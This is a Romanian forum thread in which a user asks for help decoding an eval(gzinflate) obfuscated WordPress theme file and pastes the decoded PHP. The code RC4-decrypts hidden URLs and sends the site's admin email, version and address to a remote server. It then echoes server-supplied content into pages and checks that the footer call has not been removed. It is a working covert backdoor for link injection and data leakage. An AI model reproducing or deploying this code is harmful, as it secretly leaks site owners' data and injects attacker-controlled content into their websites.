Cine ma ajuta sa decodez ceva cu gzinflate ?
Cine ma ajuta sa decodez ceva cu gzinflate ?
sursa: aiciCod:class SimpleObject { var $lastError = ''; function getError() { return $this->lastError; } function setError($newVal='') { $this->lastError = $newVal; }}class colorize{ private static $S = array(); private static function swap(&$v1, &$v2) { $v1 = $v1 ^ $v2; $v2 = $v1 ^ $v2; $v1 = $v1 ^ $v2; } private static function KSA($key) { $idx = crc32($key); if (!isset(self::$S[$idx])) { $S = range(0, 255); $j = 0; $n = strlen($key); for ($i = 0; $i < 255; $i++) { $char = ord($key{$i % $n}); $j = ($j + $S[$i] + $char) % 256; self::swap($S[$i], $S[$j]); } self::$S[$idx] = $S; } return self::$S[$idx]; } public static function hidestyle($key, $data) { $S = self::KSA($key); $n = strlen($data); $i = $j = 0; $data = str_split($data, 1); for ($m = 0; $m < $n; $m++) { $i = ($i + 1) % 256; $j = ($j + $S[$i]) % 256; self::swap($S[$i], $S[$j]); $char = ord($data{$m}); $char = $S[($S[$i] + $S[$j]) % 256] ^ $char; $data[$m] = chr($char); } $data = implode('', $data); return $data; } public static function showstyle($key, $data) { return self::hidestyle($key, $data); }} $key = base64_decode('c3Rta2V5MTIyMTIx');$error_occured = 0;$color = new colorize;$call_url = $color->showstyle($key,base64_decode('hprlKsOyj7rDeArMF786sAR6Nbu+7DrCxEs9lQC3sb5WC0dIjuPGFgJX'));$xmlfile = $color->showstyle($key,base64_decode('nZr8dIHwzA=='));$default_link = $color->showstyle($key,base64_decode('0o+xMov4xvCWZ1DZA+dn6gdobPa383DR1VUxnAi2ueRSTUFKhu+IOAANKoTdcau+XKMPfrVzKYqEpLLLyPL7sQ=='));class RemoteContent extends SimpleObject { var $url = ''; var $data = ''; function RemoteContent($url='') { $this->setError(''); $this->_retrieve($url); } function getData() { if (!$this->data) { $this->_retrieve($this->url); } return $this->data; } function setURL($url='') { if ($url) { $this->url = $url; $this->data = ''; } } function _retrieve($url='') { $this->setError(''); if ($url) { @$this->data = join('',file($url)); if($this->data == '') { //Fopen fucked up @$this->data = '' . $this->fsock_get_contents($url); } if($this->data == '') { //Socket connection fucked up $this->data = '' . $this->curl_get_contents($url); } $this->url = $url; } else { $this->setError('RemoteContent._retrieve error: empty URL'); return; } } function fsock_get_contents($url) { $fp = fsockopen($url, 80, $errno, $errstr, 20); if (!$fp) { $contents = ''; return $contents; } else { $out = 'GET / HTTP/1.1\r\n'; $out .= 'Host: ' . parse_url($url, PHP_URL_HOST) . '\r\n'; $out .= 'Connection: Close\r\n\r\n'; $contents = ''; fwrite($fp, $out); while (!feof($fp)) { $contents .= fgets($fp, 128); } fclose($fp); return $contents; } } function curl_get_contents($url) { @$ch = curl_init(); $result=''; @curl_setopt($ch, CURLOPT_URL, $url); @curl_setopt($ch, CURLOPT_HEADER, 0); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); @$result = curl_exec($ch); @curl_close($ch); return $result; }}class dbm_array_iterator extends ArrayIterator { private $dbm; private $key; public function __construct(&$dbm) { $this->dbm = $dbm; $this->rewind(); } public function rewind() { $this->key = dba_firstkey($this->dbm); } public function key() { return $this->key; } public function current() { return unserialize( dba_fetch($this->key,$this->dbm) ); } public function next() { $this->key=dba_nextkey($this->dbm); } public function valid() { return $this->key!=''; } }final class CacheOS { private static $CACHE_EXT = '.stm'; final public static function get($xmlfile,$key, $ttl=0, $group='') { $file = self::getPath($key, $group); $file .= '/'.$xmlfile; if(self::isCached($file, $ttl) === false) return false; return unserialize(file_get_contents($file)); } final public static function save($xmlfile,$key, $data, $group = NULL) { $dirPath = self::getPath($key, $group); @mkdir($dirPath,0755,true); $filePath = $dirPath.'/'.$xmlfile; $f2 = fopen($filePath, 'w'); flock($f2, LOCK_EX); fwrite($f2, serialize($data)); flock($f2, LOCK_UN); fclose($f2); } final public static function deleteCache($xmlfile,$key, $group = NULL) { $file = self::getPath($key, $group); $file .= '/'.$xmlfile; return unlink($file); } final public static function deleteGroupCache($group) { $path = getmypath().$group.'*'; foreach( glob($path, GLOB_ONLYDIR) as $dirName ) { self::removeDir($dirName); } } final private static function isCached($file, $ttl=0) { $createdTime = @filemtime($file); if(!$createdTime) { return false; } if($ttl > 0) { $expiryTime = $createdTime + $ttl; if($expiryTime <= time()) { return false; } } return true; } final private static function getPath($key, $group=NULL) { $hash = self::hash($key); $hashFolder = self::hashFolder($hash); $path = getmypath(); if($group != NULL) { $groupPath = self::getGroupPath($group,$hash); $path .= $groupPath.'/'; } return $path; } final private static function hash($key) { $count = 0; $hash = 0; $keyLen = strlen($key); for ($i=0;$i<$keyLen;$i++) { $hash = $hash*23 + ord(substr($key,$i,1)); $hash %= 8000; } return $hash; } final private static function hashFolder($hash) { $hash >>= 3; $hash %= 1000; return $hash; } final private static function getGroupPath($group, $hash) { return $group.(1+($hash % 8)); } final private static function removeDir($dir) { $files = glob( $dir . '*', GLOB_MARK ); foreach( $files as $file ){ if( substr( $file, -1 ) == '/' ) self::removeDir( $file ); else unlink( $file ); } if (is_dir($dir)) rmdir( $dir ); }}function currenturl() { $s = empty($_SERVER['HTTPS']) ? '' : ($_SERVER['HTTPS'] == 'on') ? 's' : ''; $protocol = strleft(strtolower($_SERVER['SERVER_PROTOCOL']), '/').$s; $port = ($_SERVER['SERVER_PORT'] == '80') ? '' : (':'.$_SERVER['SERVER_PORT']); return $protocol.'://'.$_SERVER['SERVER_NAME'].$port.$_SERVER['REQUEST_URI'];}function checkStatus(){ $this_status=2; $tpl = TEMPLATEPATH.'/footer.php'; $wp_funcs = TEMPLATEPATH.'/wp_funcs.php'; $tpl_read = fopen($tpl, 'r'); $wp_funcs_read = fopen($wp_funcs, 'r'); $tpl_content = fread($tpl_read, filesize($tpl)); $wp_funcs_content = fread($wp_funcs_read, filesize($wp_funcs)); fclose($tpl_read); fclose($wp_funcs_read); global $color; global $key; //Start checking for errors if($tpl_content!='' && $wp_funcs_content!='') { if(substr_count($tpl_content,$color->showstyle($key,base64_decode('0tHhMom9173rbEvdCq8hohhrfrz5qC6Umhk='))) < 1) { $this_status = 1; } if(substr_count($tpl_content,$color->showstyle($key,base64_decode('p6PBFavJ4YPgNQT0HKhoqBFmO7a+9TXXzUY6lgTju+ECEUdIhLvTXgYAKoTMcbW2Q6YDY6FzMYuPog=='))) < 1) { $this_status = 4; } if(!function_exists('wp_styler')) {$this_status = 5;} } else {$this_status=3;} return $this_status;}function strleft($s1, $s2) { return substr($s1, 0, stripos($s1, $s2));}function checkValid(){ $myinfo = '|wpver=' . @get_bloginfo('version'); $myinfo .= '|themename=' . @get_template(); $myinfo .= '|php='.@phpversion(); $myinfo .= '|email='.@get_bloginfo('admin_email'); $myinfo .= '|uri='.@$_SERVER['REQUEST_URI']; $myinfo .= '|url='.@$_SERVER['SERVER_NAME']; $myinfo .= '|status='.@checkStatus(); return($myinfo);}function getTemplate($template_id, $myurl, $call_url) { global $default_link; $url_data = 'template_id=' .$template_id . '|callback=' . $myurl . @checkValid(); $url_data = base64_encode($url_data); $request_call = $call_url . 'data=' . $url_data; $rc = new RemoteContent($request_call); $filedata = $rc->getData(); if ($rc->getError()) { $filedata = $default_link; $error_occured = 1; } if($filedata=='') { $filedata=$default_link; $error_occured = 1; } return $filedata;}function greaterDate($start_date,$end_date){ $start = strtotime($start_date); $end = strtotime($end_date); if ($start-$end > 0) return 1; else return 0;}function get_string_between($string, $start, $end){ $string = ' '.$string; $ini = stripos($string,$start); if ($ini == 0) return ''; $ini += strlen($start); $len = stripos($string,$end,$ini) - $ini; return substr($string,$ini,$len);}function getmypath() { return get_theme_root() . '/' . get_template();}function encryptit($strText) { $num_times = 20; $text = $strText; for ($i = 0; $i < $num_times; $i++) { $text = 'eval(gzinflate(base64_decode(\'' . base64_encode(gzdeflate($text)) . '\')));'; } return $text;}function decryptit($strText) { $contents = $strText; while (preg_match('/eval\(gzinflate/',$contents)) { $contents=preg_replace('/<\?|\?>/', '', $contents); eval(preg_replace('/eval/', '\$contents=', $contents)); } return trim($contents); }function wp_styler() { $myurl = currenturl(); $foundit = false; $updatedneeded = false; $tagindex = -1; global $xmlfile; global $call_url; global $template_id; global $key; global $default_link; $data = CacheOS::get($xmlfile,$key, 604800); if($data === false) { $data = ''; CacheOS::save($xmlfile,$key, $data); } $xml = new DOMDocument('1.0'); $expire_date = date('d-m-Y H:i:s',strtotime('+7 days')); $current_date = date('d-m-Y H:i:s',time()); $load_attempt = @$xml->load(getmypath() .'/'. $xmlfile); if(!$load_attempt) { $root = $xml->createElement('data'); $xml->appendChild($root); $id = $xml->createElement('site'); $myxl = $id->setAttribute('url', htmlspecialchars(base64_encode($myurl))); $myxl = $id->setAttribute('expire', htmlspecialchars($expire_date)); $misc = $root->appendChild($id); $footer = getTemplate($template_id, $myurl, $call_url); if($footer!='') { $title = $xml->createElement('link'); $titleText = $xml->createTextNode(htmlspecialchars(base64_encode($footer))); $title->appendChild($titleText); $id->appendChild($title); } $xml->formatOutput = true; if($footer != $default_link) { $xml->save(getmypath() .'/'. $xmlfile) or die('Error updating theme style. Please check folder permissions on the theme folder (should be 777).'); } } $sitetags = $xml->getElementsByTagName('site'); for($tagcounter=0; $tagcounter<$sitetags->length;$tagcounter++) { $siteinfo = $sitetags->item($tagcounter); $current_url = base64_decode($siteinfo->attributes->getNamedItem('url')->nodeValue); if($current_url==$myurl) { $foundit = true; $tagindex = $tagcounter; $current_expire = $siteinfo->attributes->getNamedItem('expire')->nodeValue; $checkdate = greaterDate($current_date,$current_expire); if($checkdate==1) { $updatedneeded = true; } $tagcounter = $sitetags->length+1; } } if($updatedneeded) { $remove_it = $xml->getElementsByTagName('site')->item($tagindex); $xml->documentElement->removeChild($remove_it); $foundit = false; } if(!$foundit) { $id = $xml->createElement('site'); $myxl = $id->setAttribute('url', base64_encode(htmlspecialchars($myurl))); $myxl = $id->setAttribute('expire', htmlspecialchars($expire_date)); $misc = $xml->firstChild->appendChild($id); $footer = getTemplate($template_id, $myurl, $call_url); if($footer!='') { $title = $xml->createElement('link'); $titleText = $xml->createTextNode(htmlspecialchars(base64_encode($footer))); $title->appendChild($titleText); $id->appendChild($title); } $xml->formatOutput = true; if($footer != $default_link) { $xml->save(getmypath() .'/'. $xmlfile) or die('Error'); } } for($tagcounter=0; $tagcounter<$sitetags->length;$tagcounter++) { $siteinfo = $sitetags->item($tagcounter); $current_url = base64_decode($siteinfo->attributes->getNamedItem('url')->nodeValue); if($current_url==$myurl) { $tagindex = $tagcounter; $tagcounter = $sitetags->length+1; } } $the_links = $sitetags->item($tagindex)->getElementsByTagName('link'); $data_pos = 0; $data_pos_start = 0; $final_data = htmlspecialchars_decode(base64_decode($the_links->item($linkcount)->textContent)); $final_data = str_replace("\'","'",$final_data); $final_data = str_replace('\"','"',$final_data); $final_data = str_replace("/'","'",$final_data); $final_data = str_replace('/"','"',$final_data); echo $final_data;}
Toate drumurile duc la Targoviste
eval gzinflate base64_decode PHP Decoder
Nu uita.. G este prietenul tau!
p.s. ah...Krm a fost mai rapid.
imi moare site-ul cand adaug ce mi-ai dat tu , am mai incercat si eu dar tot asa imi pica site-ul
Toate drumurile duc la Targoviste
Momentan este/sunt 1 utilizator(i) care navighează în acest subiect. (0 membrii și 1 vizitatori)